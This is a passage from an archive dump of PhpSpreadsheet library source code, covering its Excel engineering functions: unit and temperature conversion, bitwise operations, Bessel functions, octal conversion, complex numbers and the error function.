self::$conversionMultipliers[$multiplierType]['multiplier']]; } $multiplierType .= substr($uom, 0, 1); $uom = substr($uom, 1); // Check 2-character standard metric multiplier prefixes if (isset(self::$conversionUnits[$uom], self::$conversionMultipliers[$multiplierType])) { if (self::$conversionUnits[$uom]['AllowPrefix'] === false) { throw new Exception('Prefix not allowed for UoM'); } $unitCategory = self::$conversionUnits[$uom]['Group']; return [$uom, $unitCategory, self::$conversionMultipliers[$multiplierType]['multiplier']]; } // Check 2-character binary multiplier prefixes if (isset(self::$conversionUnits[$uom], self::$binaryConversionMultipliers[$multiplierType])) { if (self::$conversionUnits[$uom]['AllowPrefix'] === false) { throw new Exception('Prefix not allowed for UoM'); } $unitCategory = self::$conversionUnits[$uom]['Group']; if ($unitCategory !== 'Information') { throw new Exception('Binary Prefix is only allowed for Information UoM'); } return [$uom, $unitCategory, self::$binaryConversionMultipliers[$multiplierType]['multiplier']]; } throw new Exception('UoM Not Found'); } protected static function convertTemperature(string $fromUOM, string $toUOM, float|int $value): float|int { $fromUOM = self::resolveTemperatureSynonyms($fromUOM); $toUOM = self::resolveTemperatureSynonyms($toUOM); if ($fromUOM === $toUOM) { return $value; } // Convert to Kelvin switch ($fromUOM) { case 'F': $value = ($value - 32) / 1.8 + 273.15; break; case 'C': $value += 273.15; break; case 'Rank': $value /= 1.8; break; case 'Reau': $value = $value * 1.25 + 273.15; break; } // Convert from Kelvin switch ($toUOM) { case 'F': $value = ($value - 273.15) * 1.8 + 32.00; break; case 'C': $value -= 273.15; break; case 'Rank': $value *= 1.8; break; case 'Reau': $value = ($value - 273.15) * 0.80000; break; } return $value; } private static function resolveTemperatureSynonyms(string $uom): string { return match ($uom) { 'fah' => 'F', 'cel' => 'C', 'kel' => 'K', default => $uom, }; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/Engineering/BitWise.php000064400000020251151676714400024016 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\Engineering; use PhpOffice\PhpSpreadsheet\Calculation\ArrayEnabled; use PhpOffice\PhpSpreadsheet\Calculation\Exception; use PhpOffice\PhpSpreadsheet\Calculation\Information\ExcelError; class BitWise { use ArrayEnabled; const SPLIT_DIVISOR = 2 ** 24; /** * Split a number into upper and lower portions for full 32-bit support. * * @return int[] */ private static function splitNumber(float|int $number): array { return [(int) floor($number / self::SPLIT_DIVISOR), (int) fmod($number, self::SPLIT_DIVISOR)]; } /** * BITAND. * * Returns the bitwise AND of two integer values. * * Excel Function: * BITAND(number1, number2) * * @param null|array|bool|float|int|string $number1 Or can be an array of values * @param null|array|bool|float|int|string $number2 Or can be an array of values * * @return array|int|string If an array of numbers is passed as an argument, then the returned result will also be an array * with the same dimensions */ public static function BITAND(null|array|bool|float|int|string $number1, null|array|bool|float|int|string $number2): array|string|int|float { if (is_array($number1) || is_array($number2)) { return self::evaluateArrayArguments([self::class, __FUNCTION__], $number1, $number2); } try { $number1 = self::validateBitwiseArgument($number1); $number2 = self::validateBitwiseArgument($number2); } catch (Exception $e) { return $e->getMessage(); } $split1 = self::splitNumber($number1); $split2 = self::splitNumber($number2); return self::SPLIT_DIVISOR * ($split1[0] & $split2[0]) + ($split1[1] & $split2[1]); } /** * BITOR. * * Returns the bitwise OR of two integer values. * * Excel Function: * BITOR(number1, number2) * * @param null|array|bool|float|int|string $number1 Or can be an array of values * @param null|array|bool|float|int|string $number2 Or can be an array of values * * @return array|int|string If an array of numbers is passed as an argument, then the returned result will also be an array * with the same dimensions */ public static function BITOR(null|array|bool|float|int|string $number1, null|array|bool|float|int|string $number2): array|string|int|float { if (is_array($number1) || is_array($number2)) { return self::evaluateArrayArguments([self::class, __FUNCTION__], $number1, $number2); } try { $number1 = self::validateBitwiseArgument($number1); $number2 = self::validateBitwiseArgument($number2); } catch (Exception $e) { return $e->getMessage(); } $split1 = self::splitNumber($number1); $split2 = self::splitNumber($number2); return self::SPLIT_DIVISOR * ($split1[0] | $split2[0]) + ($split1[1] | $split2[1]); } /** * BITXOR. * * Returns the bitwise XOR of two integer values. * * Excel Function: * BITXOR(number1, number2) * * @param null|array|bool|float|int|string $number1 Or can be an array of values * @param null|array|bool|float|int|string $number2 Or can be an array of values * * @return array|int|string If an array of numbers is passed as an argument, then the returned result will also be an array * with the same dimensions */ public static function BITXOR(null|array|bool|float|int|string $number1, null|array|bool|float|int|string $number2): array|string|int|float { if (is_array($number1) || is_array($number2)) { return self::evaluateArrayArguments([self::class, __FUNCTION__], $number1, $number2); } try { $number1 = self::validateBitwiseArgument($number1); $number2 = self::validateBitwiseArgument($number2); } catch (Exception $e) { return $e->getMessage(); } $split1 = self::splitNumber($number1); $split2 = self::splitNumber($number2); return self::SPLIT_DIVISOR * ($split1[0] ^ $split2[0]) + ($split1[1] ^ $split2[1]); } /** * BITLSHIFT. * * Returns the number value shifted left by shift_amount bits. * * Excel Function: * BITLSHIFT(number, shift_amount) * * @param null|array|bool|float|int|string $number Or can be an array of values * @param null|array|bool|float|int|string $shiftAmount Or can be an array of values * * @return array|float|string If an array of numbers is passed as an argument, then the returned result will also be an array * with the same dimensions */ public static function BITLSHIFT(null|array|bool|float|int|string $number, null|array|bool|float|int|string $shiftAmount): array|string|float { if (is_array($number) || is_array($shiftAmount)) { return self::evaluateArrayArguments([self::class, __FUNCTION__], $number, $shiftAmount); } try { $number = self::validateBitwiseArgument($number); $shiftAmount = self::validateShiftAmount($shiftAmount); } catch (Exception $e) { return $e->getMessage(); } $result = floor($number * (2 ** $shiftAmount)); if ($result > 2 ** 48 - 1) { return ExcelError::NAN(); } return $result; } /** * BITRSHIFT. * * Returns the number value shifted right by shift_amount bits. * * Excel Function: * BITRSHIFT(number, shift_amount) * * @param null|array|bool|float|int|string $number Or can be an array of values * @param null|array|bool|float|int|string $shiftAmount Or can be an array of values * * @return array|float|string If an array of numbers is passed as an argument, then the returned result will also be an array * with the same dimensions */ public static function BITRSHIFT(null|array|bool|float|int|string $number, null|array|bool|float|int|string $shiftAmount): array|string|float { if (is_array($number) || is_array($shiftAmount)) { return self::evaluateArrayArguments([self::class, __FUNCTION__], $number, $shiftAmount); } try { $number = self::validateBitwiseArgument($number); $shiftAmount = self::validateShiftAmount($shiftAmount); } catch (Exception $e) { return $e->getMessage(); } $result = floor($number / (2 ** $shiftAmount)); if ($result > 2 ** 48 - 1) { // possible because shiftAmount can be negative return ExcelError::NAN(); } return $result; } /** * Validate arguments passed to the bitwise functions. */ private static function validateBitwiseArgument(mixed $value): float { $value = self::nullFalseTrueToNumber($value); if (is_numeric($value)) { $value = (float) $value; if ($value == floor($value)) { if (($value > 2 ** 48 - 1) || ($value < 0)) { throw new Exception(ExcelError::NAN()); } return floor($value); } throw new Exception(ExcelError::NAN()); } throw new Exception(ExcelError::VALUE()); } /** * Validate arguments passed to the bitwise functions. */ private static function validateShiftAmount(mixed $value): int { $value = self::nullFalseTrueToNumber($value); if (is_numeric($value)) { if (abs($value) > 53) { throw new Exception(ExcelError::NAN()); } return (int) $value; } throw new Exception(ExcelError::VALUE()); } /** * Many functions accept null/false/true argument treated as 0/0/1. */ private static function nullFalseTrueToNumber(mixed &$number): mixed { if ($number === null) { $number = 0; } elseif (is_bool($number)) { $number = (int) $number; } return $number; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/Engineering/BesselK.php000064400000010245151676714400024002 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\Engineering; use PhpOffice\PhpSpreadsheet\Calculation\ArrayEnabled; use PhpOffice\PhpSpreadsheet\Calculation\Exception; use PhpOffice\PhpSpreadsheet\Calculation\Information\ExcelError; class BesselK { use ArrayEnabled; /** * BESSELK. * * Returns the modified Bessel function Kn(x), which is equivalent to the Bessel functions evaluated * for purely imaginary arguments. * * Excel Function: * BESSELK(x,ord) * * @param mixed $x A float value at which to evaluate the function. * If x is nonnumeric, BESSELK returns the #VALUE! error value. * Or can be an array of values * @param mixed $ord The integer order of the Bessel function. * If ord is not an integer, it is truncated. * If $ord is nonnumeric, BESSELK returns the #VALUE! error value. * If $ord < 0, BESSELKI returns the #NUM! error value. * Or can be an array of values * * @return array|float|string Result, or a string containing an error * If an array of numbers is passed as an argument, then the returned result will also be an array * with the same dimensions */ public static function BESSELK(mixed $x, mixed $ord): array|string|float { if (is_array($x) || is_array($ord)) { return self::evaluateArrayArguments([self::class, __FUNCTION__], $x, $ord); } try { $x = EngineeringValidations::validateFloat($x); $ord = EngineeringValidations::validateInt($ord); } catch (Exception $e) { return $e->getMessage(); } if (($ord < 0) || ($x <= 0.0)) { return ExcelError::NAN(); } $fBk = self::calculate($x, $ord); return (is_nan($fBk)) ? ExcelError::NAN() : $fBk; } private static function calculate(float $x, int $ord): float { return match ($ord) { 0 => self::besselK0($x), 1 => self::besselK1($x), default => self::besselK2($x, $ord), }; } /** * Mollify Phpstan. * * @codeCoverageIgnore */ private static function callBesselI(float $x, int $ord): float { $rslt = BesselI::BESSELI($x, $ord); if (!is_float($rslt)) { throw new Exception('Unexpected array or string'); } return $rslt; } private static function besselK0(float $x): float { if ($x <= 2) { $fNum2 = $x * 0.5; $y = ($fNum2 * $fNum2); return -log($fNum2) * self::callBesselI($x, 0) + (-0.57721566 + $y * (0.42278420 + $y * (0.23069756 + $y * (0.3488590e-1 + $y * (0.262698e-2 + $y * (0.10750e-3 + $y * 0.74e-5)))))); } $y = 2 / $x; return exp(-$x) / sqrt($x) * (1.25331414 + $y * (-0.7832358e-1 + $y * (0.2189568e-1 + $y * (-0.1062446e-1 + $y * (0.587872e-2 + $y * (-0.251540e-2 + $y * 0.53208e-3)))))); } private static function besselK1(float $x): float { if ($x <= 2) { $fNum2 = $x * 0.5; $y = ($fNum2 * $fNum2); return log($fNum2) * self::callBesselI($x, 1) + (1 + $y * (0.15443144 + $y * (-0.67278579 + $y * (-0.18156897 + $y * (-0.1919402e-1 + $y * (-0.110404e-2 + $y * (-0.4686e-4))))))) / $x; } $y = 2 / $x; return exp(-$x) / sqrt($x) * (1.25331414 + $y * (0.23498619 + $y * (-0.3655620e-1 + $y * (0.1504268e-1 + $y * (-0.780353e-2 + $y * (0.325614e-2 + $y * (-0.68245e-3))))))); } private static function besselK2(float $x, int $ord): float { $fTox = 2 / $x; $fBkm = self::besselK0($x); $fBk = self::besselK1($x); for ($n = 1; $n < $ord; ++$n) { $fBkp = $fBkm + $n * $fTox * $fBk; $fBkm = $fBk; $fBk = $fBkp; } return $fBk; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/Engineering/BesselY.php000064400000011425151676714400024021 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\Engineering; use PhpOffice\PhpSpreadsheet\Calculation\ArrayEnabled; use PhpOffice\PhpSpreadsheet\Calculation\Exception; use PhpOffice\PhpSpreadsheet\Calculation\Information\ExcelError; class BesselY { use ArrayEnabled; /** * BESSELY. * * Returns the Bessel function, which is also called the Weber function or the Neumann function. * * Excel Function: * BESSELY(x,ord) * * @param mixed $x A float value at which to evaluate the function. * If x is nonnumeric, BESSELY returns the #VALUE! error value. * Or can be an array of values * @param mixed $ord The integer order of the Bessel function. * If ord is not an integer, it is truncated. * If $ord is nonnumeric, BESSELY returns the #VALUE! error value. * If $ord < 0, BESSELY returns the #NUM! error value. * Or can be an array of values * * @return array|float|string Result, or a string containing an error * If an array of numbers is passed as an argument, then the returned result will also be an array * with the same dimensions */ public static function BESSELY(mixed $x, mixed $ord): array|string|float { if (is_array($x) || is_array($ord)) { return self::evaluateArrayArguments([self::class, __FUNCTION__], $x, $ord); } try { $x = EngineeringValidations::validateFloat($x); $ord = EngineeringValidations::validateInt($ord); } catch (Exception $e) { return $e->getMessage(); } if (($ord < 0) || ($x <= 0.0)) { return ExcelError::NAN(); } $fBy = self::calculate($x, $ord); return (is_nan($fBy)) ? ExcelError::NAN() : $fBy; } private static function calculate(float $x, int $ord): float { return match ($ord) { 0 => self::besselY0($x), 1 => self::besselY1($x), default => self::besselY2($x, $ord), }; } /** * Mollify Phpstan. * * @codeCoverageIgnore */ private static function callBesselJ(float $x, int $ord): float { $rslt = BesselJ::BESSELJ($x, $ord); if (!is_float($rslt)) { throw new Exception('Unexpected array or string'); } return $rslt; } private static function besselY0(float $x): float { if ($x < 8.0) { $y = ($x * $x); $ans1 = -2957821389.0 + $y * (7062834065.0 + $y * (-512359803.6 + $y * (10879881.29 + $y * (-86327.92757 + $y * 228.4622733)))); $ans2 = 40076544269.0 + $y * (745249964.8 + $y * (7189466.438 + $y * (47447.26470 + $y * (226.1030244 + $y)))); return $ans1 / $ans2 + 0.636619772 * self::callBesselJ($x, 0) * log($x); } $z = 8.0 / $x; $y = ($z * $z); $xx = $x - 0.785398164; $ans1 = 1 + $y * (-0.1098628627e-2 + $y * (0.2734510407e-4 + $y * (-0.2073370639e-5 + $y * 0.2093887211e-6))); $ans2 = -0.1562499995e-1 + $y * (0.1430488765e-3 + $y * (-0.6911147651e-5 + $y * (0.7621095161e-6 + $y * (-0.934945152e-7)))); return sqrt(0.636619772 / $x) * (sin($xx) * $ans1 + $z * cos($xx) * $ans2); } private static function besselY1(float $x): float { if ($x < 8.0) { $y = ($x * $x); $ans1 = $x * (-0.4900604943e13 + $y * (0.1275274390e13 + $y * (-0.5153438139e11 + $y * (0.7349264551e9 + $y * (-0.4237922726e7 + $y * 0.8511937935e4))))); $ans2 = 0.2499580570e14 + $y * (0.4244419664e12 + $y * (0.3733650367e10 + $y * (0.2245904002e8 + $y * (0.1020426050e6 + $y * (0.3549632885e3 + $y))))); return ($ans1 / $ans2) + 0.636619772 * (self::callBesselJ($x, 1) * log($x) - 1 / $x); } $z = 8.0 / $x; $y = $z * $z; $xx = $x - 2.356194491; $ans1 = 1.0 + $y * (0.183105e-2 + $y * (-0.3516396496e-4 + $y * (0.2457520174e-5 + $y * (-0.240337019e-6)))); $ans2 = 0.04687499995 + $y * (-0.2002690873e-3 + $y * (0.8449199096e-5 + $y * (-0.88228987e-6 + $y * 0.105787412e-6))); return sqrt(0.636619772 / $x) * (sin($xx) * $ans1 + $z * cos($xx) * $ans2); } private static function besselY2(float $x, int $ord): float { $fTox = 2.0 / $x; $fBym = self::besselY0($x); $fBy = self::besselY1($x); for ($n = 1; $n < $ord; ++$n) { $fByp = $n * $fTox * $fBy - $fBym; $fBym = $fBy; $fBy = $fByp; } return $fBy; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/Engineering/EngineeringValidations.php000064400000001177151676714400027106 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\Engineering; use PhpOffice\PhpSpreadsheet\Calculation\Exception; use PhpOffice\PhpSpreadsheet\Calculation\Information\ExcelError; class EngineeringValidations { public static function validateFloat(mixed $value): float { if (!is_numeric($value)) { throw new Exception(ExcelError::VALUE()); } return (float) $value; } public static function validateInt(mixed $value): int { if (!is_numeric($value)) { throw new Exception(ExcelError::VALUE()); } return (int) floor((float) $value); } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/Engineering/Complex.php000064400000010307151676714400024060 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\Engineering; use Complex\Complex as ComplexObject; use Complex\Exception as ComplexException; use PhpOffice\PhpSpreadsheet\Calculation\ArrayEnabled; use PhpOffice\PhpSpreadsheet\Calculation\Exception; use PhpOffice\PhpSpreadsheet\Calculation\Information\ExcelError; class Complex { use ArrayEnabled; /** * COMPLEX. * * Converts real and imaginary coefficients into a complex number of the form x +/- yi or x +/- yj. * * Excel Function: * COMPLEX(realNumber,imaginary[,suffix]) * * @param mixed $realNumber the real float coefficient of the complex number * Or can be an array of values * @param mixed $imaginary the imaginary float coefficient of the complex number * Or can be an array of values * @param mixed $suffix The character suffix for the imaginary component of the complex number. * If omitted, the suffix is assumed to be "i". * Or can be an array of values * * @return array|string If an array of numbers is passed as an argument, then the returned result will also be an array * with the same dimensions */ public static function COMPLEX(mixed $realNumber = 0.0, mixed $imaginary = 0.0, mixed $suffix = 'i'): array|string { if (is_array($realNumber) || is_array($imaginary) || is_array($suffix)) { return self::evaluateArrayArguments([self::class, __FUNCTION__], $realNumber, $imaginary, $suffix); } $realNumber = $realNumber ?? 0.0; $imaginary = $imaginary ?? 0.0; $suffix = $suffix ?? 'i'; try { $realNumber = EngineeringValidations::validateFloat($realNumber); $imaginary = EngineeringValidations::validateFloat($imaginary); } catch (Exception $e) { return $e->getMessage(); } if (($suffix === 'i') || ($suffix === 'j') || ($suffix === '')) { $complex = new ComplexObject($realNumber, $imaginary, $suffix); return (string) $complex; } return ExcelError::VALUE(); } /** * IMAGINARY. * * Returns the imaginary coefficient of a complex number in x + yi or x + yj text format. * * Excel Function: * IMAGINARY(complexNumber) * * @param array|string $complexNumber the complex number for which you want the imaginary * coefficient * Or can be an array of values * * @return array|float|string (string if an error) * If an array of numbers is passed as an argument, then the returned result will also be an array * with the same dimensions */ public static function IMAGINARY($complexNumber): array|string|float { if (is_array($complexNumber)) { return self::evaluateSingleArgumentArray([self::class, __FUNCTION__], $complexNumber); } try { $complex = new ComplexObject($complexNumber); } catch (ComplexException) { return ExcelError::NAN(); } return $complex->getImaginary(); } /** * IMREAL. * * Returns the real coefficient of a complex number in x + yi or x + yj text format. * * Excel Function: * IMREAL(complexNumber) * * @param array|string $complexNumber the complex number for which you want the real coefficient * Or can be an array of values * * @return array|float|string (string if an error) * If an array of numbers is passed as an argument, then the returned result will also be an array * with the same dimensions */ public static function IMREAL($complexNumber): array|string|float { if (is_array($complexNumber)) { return self::evaluateSingleArgumentArray([self::class, __FUNCTION__], $complexNumber); } try { $complex = new ComplexObject($complexNumber); } catch (ComplexException) { return ExcelError::NAN(); } return $complex->getReal(); } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/Engineering/ConvertOctal.php000064400000016726151676714400025067 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\Engineering; use PhpOffice\PhpSpreadsheet\Calculation\Exception; use PhpOffice\PhpSpreadsheet\Calculation\Information\ExcelError; class ConvertOctal extends ConvertBase { /** * toBinary. * * Return an octal value as binary. * * Excel Function: * OCT2BIN(x[,places]) * * @param array|bool|float|int|string $value The octal number you want to convert. Number may not * contain more than 10 characters. The most significant * bit of number is the sign bit. The remaining 29 bits * are magnitude bits. Negative numbers are represented * using two's-complement notation. * If number is negative, OCT2BIN ignores places and returns * a 10-character binary number. * If number is negative, it cannot be less than 7777777000, * and if number is positive, it cannot be greater than 777. * If number is not a valid octal number, OCT2BIN returns * the #NUM! error value. * If OCT2BIN requires more than places characters, it * returns the #NUM! error value. * Or can be an array of values * @param array|int $places The number of characters to use. If places is omitted, * OCT2BIN uses the minimum number of characters necessary. * Places is useful for padding the return value with * leading 0s (zeros). * If places is not an integer, it is truncated. * If places is nonnumeric, OCT2BIN returns the #VALUE! * error value. * If places is negative, OCT2BIN returns the #NUM! error * value. * Or can be an array of values * * @return array|string Result, or an error * If an array of numbers is passed as an argument, then the returned result will also be an array * with the same dimensions */ public static function toBinary($value, $places = null): array|string { if (is_array($value) || is_array($places)) { return self::evaluateArrayArguments([self::class, __FUNCTION__], $value, $places); } try { $value = self::validateValue($value); $value = self::validateOctal($value); $places = self::validatePlaces($places); } catch (Exception $e) { return $e->getMessage(); } return ConvertDecimal::toBinary(self::toDecimal($value), $places); } /** * toDecimal. * * Return an octal value as decimal. * * Excel Function: * OCT2DEC(x) * * @param array|bool|float|int|string $value The octal number you want to convert. Number may not contain * more than 10 octal characters (30 bits). The most significant * bit of number is the sign bit. The remaining 29 bits are * magnitude bits. Negative numbers are represented using * two's-complement notation. * If number is not a valid octal number, OCT2DEC returns the * #NUM! error value. * Or can be an array of values * * @return array|string Result, or an error * If an array of numbers is passed as an argument, then the returned result will also be an array * with the same dimensions */ public static function toDecimal($value) { if (is_array($value)) { return self::evaluateSingleArgumentArray([self::class, __FUNCTION__], $value); } try { $value = self::validateValue($value); $value = self::validateOctal($value); } catch (Exception $e) { return $e->getMessage(); } $binX = ''; foreach (str_split($value) as $char) { $binX .= str_pad(decbin((int) $char), 3, '0', STR_PAD_LEFT); } if (strlen($binX) == 30 && $binX[0] == '1') { for ($i = 0; $i < 30; ++$i) { $binX[$i] = ($binX[$i] == '1' ? '0' : '1'); } return (string) ((bindec($binX) + 1) * -1); } return (string) bindec($binX); } /** * toHex. * * Return an octal value as hex. * * Excel Function: * OCT2HEX(x[,places]) * * @param array|bool|float|int|string $value The octal number you want to convert. Number may not contain * more than 10 octal characters (30 bits). The most significant * bit of number is the sign bit. The remaining 29 bits are * magnitude bits. Negative numbers are represented using * two's-complement notation. * If number is negative, OCT2HEX ignores places and returns a * 10-character hexadecimal number. * If number is not a valid octal number, OCT2HEX returns the * #NUM! error value. * If OCT2HEX requires more than places characters, it returns * the #NUM! error value. * Or can be an array of values * @param array|int $places The number of characters to use. If places is omitted, OCT2HEX * uses the minimum number of characters necessary. Places is useful * for padding the return value with leading 0s (zeros). * If places is not an integer, it is truncated. * If places is nonnumeric, OCT2HEX returns the #VALUE! error value. * If places is negative, OCT2HEX returns the #NUM! error value. * Or can be an array of values * * @return array|string Result, or an error * If an array of numbers is passed as an argument, then the returned result will also be an array * with the same dimensions */ public static function toHex($value, $places = null): array|string { if (is_array($value) || is_array($places)) { return self::evaluateArrayArguments([self::class, __FUNCTION__], $value, $places); } try { $value = self::validateValue($value); $value = self::validateOctal($value); $places = self::validatePlaces($places); } catch (Exception $e) { return $e->getMessage(); } $hexVal = strtoupper(dechex((int) self::toDecimal($value))); $hexVal = (PHP_INT_SIZE === 4 && strlen($value) === 10 && $value[0] >= '4') ? "FF{$hexVal}" : $hexVal; return self::nbrConversionFormat($hexVal, $places); } protected static function validateOctal(string $value): string { $numDigits = (int) preg_match_all('/[01234567]/', $value); if (strlen($value) > $numDigits || $numDigits > 10) { throw new Exception(ExcelError::NAN()); } return $value; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/Engineering/ConvertBase.php000064400000003603151676714400024665 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\Engineering; use PhpOffice\PhpSpreadsheet\Calculation\ArrayEnabled; use PhpOffice\PhpSpreadsheet\Calculation\Exception; use PhpOffice\PhpSpreadsheet\Calculation\Functions; use PhpOffice\PhpSpreadsheet\Calculation\Information\ExcelError; abstract class ConvertBase { use ArrayEnabled; protected static function validateValue(mixed $value): string { if (is_bool($value)) { if (Functions::getCompatibilityMode() !== Functions::COMPATIBILITY_OPENOFFICE) { throw new Exception(ExcelError::VALUE()); } $value = (int) $value; } if (is_numeric($value)) { if (Functions::getCompatibilityMode() == Functions::COMPATIBILITY_GNUMERIC) { $value = floor((float) $value); } } return strtoupper((string) $value); } protected static function validatePlaces(mixed $places = null): ?int { if ($places === null) { return $places; } if (is_numeric($places)) { if ($places < 0 || $places > 10) { throw new Exception(ExcelError::NAN()); } return (int) $places; } throw new Exception(ExcelError::VALUE()); } /** * Formats a number base string value with leading zeroes. * * @param string $value The "number" to pad * @param ?int $places The length that we want to pad this value * * @return string The padded "number" */ protected static function nbrConversionFormat(string $value, ?int $places): string { if ($places !== null) { if (strlen($value) <= $places) { return substr(str_pad($value, $places, '0', STR_PAD_LEFT), -10); } return ExcelError::NAN(); } return substr($value, -10); } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/Engineering/Erf.php000064400000007077151676714400023177 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\Engineering; use PhpOffice\PhpSpreadsheet\Calculation\ArrayEnabled; use PhpOffice\PhpSpreadsheet\Calculation\Functions; use PhpOffice\PhpSpreadsheet\Calculation\Information\ExcelError; class Erf { use ArrayEnabled; private const TWO_SQRT_PI = 1.128379167095512574; /** * ERF. * * Returns the error function integrated between the lower and upper bound arguments. * * Note: In Excel 2007 or earlier, if you input a negative value for the upper or lower bound arguments, * the function would return a #NUM! error. However, in Excel 2010, the function algorithm was * improved, so that it can now calculate the function for both positive and negative ranges. * PhpSpreadsheet follows Excel 2010 behaviour, and accepts negative arguments. * * Excel Function: * ERF(lower[,upper]) * * @param mixed $lower Lower bound float for integrating ERF * Or can be an array of values * @param mixed $upper Upper bound float for integrating ERF. * If omitted, ERF integrates between zero and lower_limit * Or can be an array of values * * @return array|float|string If an array of numbers is passed as an argument, then the returned result will also be an array * with the same dimensions */ public static function ERF(mixed $lower, mixed $upper = null): array|float|string { if (is_array($lower) || is_array($upper)) { return self::evaluateArrayArguments([self::class, __FUNCTION__], $lower, $upper); } if (is_numeric($lower)) { if ($upper === null) { return self::erfValue($lower); } if (is_numeric($upper)) { return self::erfValue($upper) - self::erfValue($lower); } } return ExcelError::VALUE(); } /** * ERFPRECISE. * * Returns the error function integrated between the lower and upper bound arguments. * * Excel Function: * ERF.PRECISE(limit) * * @param mixed $limit Float bound for integrating ERF, other bound is zero * Or can be an array of values * * @return array|float|string If an array of numbers is passed as an argument, then the returned result will also be an array * with the same dimensions */ public static function ERFPRECISE(mixed $limit) { if (is_array($limit)) { return self::evaluateSingleArgumentArray([self::class, __FUNCTION__], $limit); } return self::ERF($limit); } private static function makeFloat(mixed $value): float { return is_numeric($value) ? ((float) $value) : 0.0; } /** * Method to calculate the erf value. */ public static function erfValue(float|int|string $value): float { $value = (float) $value; if (abs($value) > 2.2) { return 1 - self::makeFloat(ErfC::ERFC($value)); } $sum = $term = $value; $xsqr = ($value * $value); $j = 1; do { $term *= $xsqr / $j; $sum -= $term / (2 * $j + 1); ++$j; $term *= $xsqr / $j; $sum += $term / (2 * $j + 1); ++$j; if ($sum == 0.0) { break; } } while (abs($term / $sum) > Functions::PRECISION); return self::TWO_SQRT_PI * $sum; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/Engineering/ErfC.php000064400000004535151676714400023276 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\Engineering; use PhpOffice\PhpSpreadsheet\Calculation\ArrayEnabled; use PhpOffice\PhpSpreadsheet\Calculation\Functions; use PhpOffice\PhpSpreadsheet\Calculation\Information\ExcelError; class ErfC { use ArrayEnabled; /** * ERFC. * * Returns the complementary ERF function integrated between x and infinity * * Note: In Excel 2007 or earlier, if you input a negative value for the lower bound argument, * the function would return a #NUM! error. However, in Excel 2010, the function algorithm was * improved, so that it can now calculate the function for both positive and negative x values. * PhpSpreadsheet follows Excel 2010 behaviour, and accepts nagative arguments. * * Excel Function: * ERFC(x) * * @param mixed $value The float lower bound for integrating ERFC * Or can be an array of values * * @return array|float|string If an array of numbers is passed as an argument, then the returned result will also be an array * with the same dimensions */ public static function ERFC(mixed $value) { if (is_array($value)) { return self::evaluateSingleArgumentArray([self::class, __FUNCTION__], $value); } if (is_numeric($value)) { return self::erfcValue($value); } return ExcelError::VALUE(); } private const ONE_SQRT_PI = 0.564189583547756287; /** * Method to calculate the erfc value. */ private static function erfcValue(float|int|string $value): float|int { $value = (float) $value; if (abs($value) < 2.2) { return 1 - Erf::erfValue($value); } if ($value < 0) { return 2 - self::erfcValue(-$value); } $a = $n = 1; $b = $c = $value; $d = ($value * $value) + 0.5; $q2 = $b / $d; do { $t = $a * $n + $b * $value; $a = $b; $b = $t; $t = $c * $n + $d * $value; $c = $d; $d = $t; $n += 0.5; $q1 = $q2; $q2 = $b / $d; } while ((abs($q1 - $q2) / $q2) > Functions::PRECISION); return self::ONE_SQRT_PI * exp(-$value * $value) * $q2; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/Engine/ArrayArgumentProcessor.php000064400000014227151676714400026112 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\Engine; use PhpOffice\PhpSpreadsheet\Calculation\Functions; class ArrayArgumentProcessor { private static ArrayArgumentHelper $arrayArgumentHelper; public static function processArguments( ArrayArgumentHelper $arrayArgumentHelper, callable $method, mixed ...$arguments ): array { self::$arrayArgumentHelper = $arrayArgumentHelper; if (self::$arrayArgumentHelper->hasArrayArgument() === false) { return [$method(...$arguments)]; } if (self::$arrayArgumentHelper->arrayArguments() === 1) { $nthArgument = self::$arrayArgumentHelper->getFirstArrayArgumentNumber(); return self::evaluateNthArgumentAsArray($method, $nthArgument, ...$arguments); } $singleRowVectorIndex = self::$arrayArgumentHelper->getSingleRowVector(); $singleColumnVectorIndex = self::$arrayArgumentHelper->getSingleColumnVector(); if ($singleRowVectorIndex !== null && $singleColumnVectorIndex !== null) { // Basic logic for a single row vector and a single column vector return self::evaluateVectorPair($method, $singleRowVectorIndex, $singleColumnVectorIndex, ...$arguments); } $matrixPair = self::$arrayArgumentHelper->getMatrixPair(); if ($matrixPair !== []) { if ( (self::$arrayArgumentHelper->isVector($matrixPair[0]) === true && self::$arrayArgumentHelper->isVector($matrixPair[1]) === false) || (self::$arrayArgumentHelper->isVector($matrixPair[0]) === false && self::$arrayArgumentHelper->isVector($matrixPair[1]) === true) ) { // Logic for a matrix and a vector (row or column) return self::evaluateVectorMatrixPair($method, $matrixPair, ...$arguments); } // Logic for matrix/matrix, column vector/column vector or row vector/row vector return self::evaluateMatrixPair($method, $matrixPair, ...$arguments); } // Still need to work out the logic for more than two array arguments, // For the moment, we're throwing an Exception when we initialise the ArrayArgumentHelper return ['#VALUE!']; } private static function evaluateVectorMatrixPair(callable $method, array $matrixIndexes, mixed ...$arguments): array { $matrix2 = array_pop($matrixIndexes); /** @var array $matrixValues2 */ $matrixValues2 = $arguments[$matrix2]; $matrix1 = array_pop($matrixIndexes); /** @var array $matrixValues1 */ $matrixValues1 = $arguments[$matrix1]; $rows = min(array_map([self::$arrayArgumentHelper, 'rowCount'], [$matrix1, $matrix2])); $columns = min(array_map([self::$arrayArgumentHelper, 'columnCount'], [$matrix1, $matrix2])); if ($rows === 1) { $rows = max(array_map([self::$arrayArgumentHelper, 